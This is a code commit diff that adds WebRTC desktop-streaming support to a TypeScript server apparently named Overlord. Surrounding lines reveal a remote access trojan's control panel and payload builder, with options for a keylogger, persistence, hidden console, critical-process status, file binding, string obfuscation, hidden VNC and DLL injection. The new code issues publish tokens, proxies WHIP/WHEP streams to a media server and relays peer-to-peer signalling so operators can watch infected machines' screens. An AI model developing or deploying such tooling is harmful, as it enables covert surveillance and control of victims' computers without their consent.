WebRTC
This commit is contained in:
@@ -85,6 +85,7 @@ type BuildProcessConfig = {
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
builtByUserId?: number;
|
||||
outputName?: string;
|
||||
garbleLiterals?: boolean;
|
||||
@@ -870,6 +871,7 @@ func runBoundFiles() {
|
||||
const buildTags: string[] = [];
|
||||
if (config.noPrinting) buildTags.push("noprint");
|
||||
if (config.disableKeylogger) buildTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) buildTags.push("overlord_webrtc");
|
||||
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||
if (config.enablePersistence && os === "windows") {
|
||||
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||
|
||||
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
|
||||
requireAdmin,
|
||||
criticalProcess,
|
||||
disableKeylogger,
|
||||
enableWebrtc,
|
||||
outputExtension,
|
||||
sleepSeconds,
|
||||
boundFiles,
|
||||
@@ -374,6 +375,7 @@ export async function handleBuildRoutes(
|
||||
requireAdmin: safeRequireAdmin,
|
||||
criticalProcess: safeCriticalProcess,
|
||||
disableKeylogger: !!disableKeylogger,
|
||||
enableWebrtc: !!enableWebrtc,
|
||||
outputExtension: safeOutputExtension,
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
boundFiles: safeBoundFiles,
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
import { randomBytes } from "node:crypto";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { canUserAccessClient } from "../../users";
|
||||
import { logger } from "../../logger";
|
||||
|
||||
const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
|
||||
|
||||
|
||||
const PUBLISH_TOKEN_TTL_MS = 60_000;
|
||||
|
||||
type PublishToken = { clientId: string; expiresAt: number };
|
||||
const publishTokens = new Map<string, PublishToken>();
|
||||
|
||||
function prunePublishTokens(now = Date.now()) {
|
||||
for (const [t, entry] of publishTokens) {
|
||||
if (entry.expiresAt < now) publishTokens.delete(t);
|
||||
}
|
||||
}
|
||||
|
||||
export function issueWebrtcPublishToken(clientId: string): string {
|
||||
prunePublishTokens();
|
||||
const token = randomBytes(24).toString("base64url");
|
||||
publishTokens.set(token, { clientId, expiresAt: Date.now() + PUBLISH_TOKEN_TTL_MS });
|
||||
return token;
|
||||
}
|
||||
|
||||
export function webrtcStreamPathFor(clientId: string): string {
|
||||
return `agents/${clientId}`;
|
||||
}
|
||||
|
||||
export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/webrtc/")) return null;
|
||||
|
||||
const rest = url.pathname.slice("/api/webrtc/".length);
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
if (!match) return new Response("Not Found", { status: 404 });
|
||||
|
||||
const [, streamPath, kind, sessionSuffix] = match;
|
||||
const clientId = streamPath.split("/")[1];
|
||||
|
||||
if (kind === "whip") {
|
||||
const authHeader = req.headers.get("authorization") || "";
|
||||
const m = authHeader.match(/^Bearer\s+(.+)$/i);
|
||||
const token = m?.[1] || "";
|
||||
const entry = publishTokens.get(token);
|
||||
if (!entry || entry.clientId !== clientId || entry.expiresAt < Date.now()) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (req.method === "DELETE") {
|
||||
publishTokens.delete(token);
|
||||
} else {
|
||||
entry.expiresAt = Date.now() + PUBLISH_TOKEN_TTL_MS;
|
||||
}
|
||||
} else {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
}
|
||||
|
||||
const upstreamUrl = `${MEDIAMTX_URL}/${streamPath}/${kind}${sessionSuffix || ""}`;
|
||||
const upstreamHeaders = new Headers();
|
||||
for (const [k, v] of req.headers) {
|
||||
const lower = k.toLowerCase();
|
||||
if (lower === "host" || lower === "authorization" || lower === "cookie") continue;
|
||||
upstreamHeaders.set(k, v);
|
||||
}
|
||||
|
||||
let body: ArrayBuffer | undefined;
|
||||
if (req.method !== "GET" && req.method !== "HEAD" && req.method !== "DELETE") {
|
||||
body = await req.arrayBuffer();
|
||||
}
|
||||
|
||||
let upstreamResp: Response;
|
||||
try {
|
||||
upstreamResp = await fetch(upstreamUrl, {
|
||||
method: req.method,
|
||||
headers: upstreamHeaders,
|
||||
body,
|
||||
});
|
||||
} catch (err) {
|
||||
logger.warn(`[webrtc] upstream fetch failed (${upstreamUrl}): ${(err as Error).message}`);
|
||||
return new Response("Bad Gateway", { status: 502 });
|
||||
}
|
||||
|
||||
const respHeaders = new Headers(upstreamResp.headers);
|
||||
const loc = respHeaders.get("location");
|
||||
if (loc) {
|
||||
try {
|
||||
const abs = new URL(loc, MEDIAMTX_URL);
|
||||
respHeaders.set("location", `/api/webrtc${abs.pathname}`);
|
||||
} catch { }
|
||||
}
|
||||
|
||||
return new Response(upstreamResp.body, {
|
||||
status: upstreamResp.status,
|
||||
statusText: upstreamResp.statusText,
|
||||
headers: respHeaders,
|
||||
});
|
||||
}
|
||||
@@ -157,6 +157,9 @@ type WsLifecycleDeps = {
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||
cleanupRdViewerP2P: (ws: ServerWebSocket<SocketData>) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
@@ -723,6 +726,12 @@ export async function handleWebSocketMessage(
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
break;
|
||||
case "webrtc_p2p_answer":
|
||||
deps.handleWebrtcP2PAnswer(client.id, payload);
|
||||
break;
|
||||
case "webrtc_p2p_ice":
|
||||
deps.handleWebrtcP2PIce(client.id, payload);
|
||||
break;
|
||||
case "proxy_data": {
|
||||
const connId = (payload as any).connectionId;
|
||||
const tunnelData = (payload as any).data;
|
||||
@@ -779,6 +788,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
|
||||
if (role === "rd_viewer") {
|
||||
deps.cleanupRdViewerP2P(ws);
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
|
||||
@@ -12,6 +12,7 @@ import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { canUserAccessClient } from "../users";
|
||||
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
|
||||
|
||||
let _cachedInjectionDll: Uint8Array | null = null;
|
||||
let _dllCachePath: string | null = null;
|
||||
@@ -213,6 +214,35 @@ export const rdStreamingState = new Map<string, {
|
||||
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
|
||||
const RD_INPUT_TTL_MS = 10_000;
|
||||
|
||||
type P2PSession = { viewer: ServerWebSocket<SocketData>; clientId: string };
|
||||
const p2pAgentToViewer = new Map<string, P2PSession>();
|
||||
const p2pViewerToAgent = new WeakMap<ServerWebSocket<SocketData>, string>();
|
||||
|
||||
function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string): string {
|
||||
const prior = p2pViewerToAgent.get(ws);
|
||||
if (prior) {
|
||||
p2pAgentToViewer.delete(prior);
|
||||
}
|
||||
const sessionId = uuidv4();
|
||||
p2pAgentToViewer.set(sessionId, { viewer: ws, clientId });
|
||||
p2pViewerToAgent.set(ws, sessionId);
|
||||
return sessionId;
|
||||
}
|
||||
|
||||
function lookupP2PSession(sessionId: string): P2PSession | undefined {
|
||||
return p2pAgentToViewer.get(sessionId);
|
||||
}
|
||||
|
||||
function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>): { sessionId: string; clientId: string } | null {
|
||||
const sessionId = p2pViewerToAgent.get(ws);
|
||||
if (!sessionId) return null;
|
||||
const entry = p2pAgentToViewer.get(sessionId);
|
||||
p2pAgentToViewer.delete(sessionId);
|
||||
p2pViewerToAgent.delete(ws);
|
||||
if (!entry) return null;
|
||||
return { sessionId, clientId: entry.clientId };
|
||||
}
|
||||
|
||||
function pruneRdInputPending(now = Date.now()) {
|
||||
for (const [id, pending] of rdInputPending.entries()) {
|
||||
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
|
||||
@@ -384,10 +414,25 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ((payload as any).webrtc === true) {
|
||||
const streamPath = webrtcStreamPathFor(clientId);
|
||||
const token = issueWebrtcPublishToken(clientId);
|
||||
const whipPath = `/api/webrtc/${streamPath}/whip`;
|
||||
sendDesktopCommand(target, "webrtc_publish", {
|
||||
streamPath,
|
||||
whipPath,
|
||||
token,
|
||||
});
|
||||
safeSendViewer(ws, {
|
||||
type: "webrtc_ready",
|
||||
streamPath,
|
||||
whepPath: `/api/webrtc/${streamPath}/whep`,
|
||||
});
|
||||
}
|
||||
sendDesktopCommand(target, "desktop_start", {});
|
||||
state.isStreaming = true;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] started streaming for client ${clientId}`);
|
||||
logger.debug(`[rd] started streaming for client ${clientId}${(payload as any).webrtc === true ? " (webrtc)" : ""}`);
|
||||
} else {
|
||||
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
|
||||
}
|
||||
@@ -397,6 +442,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
.filter(s => s.id !== ws.data.sessionId);
|
||||
if (otherViewers.length === 0) {
|
||||
sendDesktopCommand(target, "desktop_stop", {});
|
||||
sendDesktopCommand(target, "webrtc_stop", {});
|
||||
if (state.isStreaming) {
|
||||
state.isStreaming = false;
|
||||
rdStreamingState.set(clientId, state);
|
||||
@@ -542,11 +588,70 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_offer": {
|
||||
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
|
||||
if (!sdp) break;
|
||||
const sessionId = createP2PSession(ws, clientId);
|
||||
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp });
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_ice": {
|
||||
const sessionId = p2pViewerToAgent.get(ws);
|
||||
if (!sessionId) break;
|
||||
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
|
||||
if (!candidate) break;
|
||||
sendDesktopCommand(target, "webrtc_p2p_ice", {
|
||||
sessionId,
|
||||
candidate,
|
||||
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
|
||||
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_stop": {
|
||||
const cleared = clearP2PSessionForViewer(ws);
|
||||
if (cleared) {
|
||||
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebrtcP2PAnswer(_clientId: string, payload: any) {
|
||||
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||
const sdp = typeof payload?.sdp === "string" ? payload.sdp : "";
|
||||
if (!sessionId || !sdp) return;
|
||||
const session = lookupP2PSession(sessionId);
|
||||
if (!session) return;
|
||||
safeSendViewer(session.viewer, { type: "webrtc_p2p_answer", sdp });
|
||||
}
|
||||
|
||||
export function handleWebrtcP2PIce(_clientId: string, payload: any) {
|
||||
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||
const candidate = typeof payload?.candidate === "string" ? payload.candidate : "";
|
||||
if (!sessionId || !candidate) return;
|
||||
const session = lookupP2PSession(sessionId);
|
||||
if (!session) return;
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "webrtc_p2p_ice",
|
||||
candidate,
|
||||
sdpMid: typeof payload?.sdpMid === "string" ? payload.sdpMid : "",
|
||||
sdpMLineIndex: Number(payload?.sdpMLineIndex) || 0,
|
||||
});
|
||||
}
|
||||
|
||||
export function cleanupRdViewerP2P(ws: ServerWebSocket<SocketData>) {
|
||||
const cleared = clearP2PSessionForViewer(ws);
|
||||
if (!cleared) return;
|
||||
const target = clientManager.getClient(cleared.clientId);
|
||||
if (target) {
|
||||
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
|
||||
}
|
||||
}
|
||||
|
||||
function handleRemoteDesktopFrame(payload: any) {
|
||||
const clientId = payload.clientId as string;
|
||||
const header = payload.header;
|
||||
|
||||
Reference in New Issue
Block a user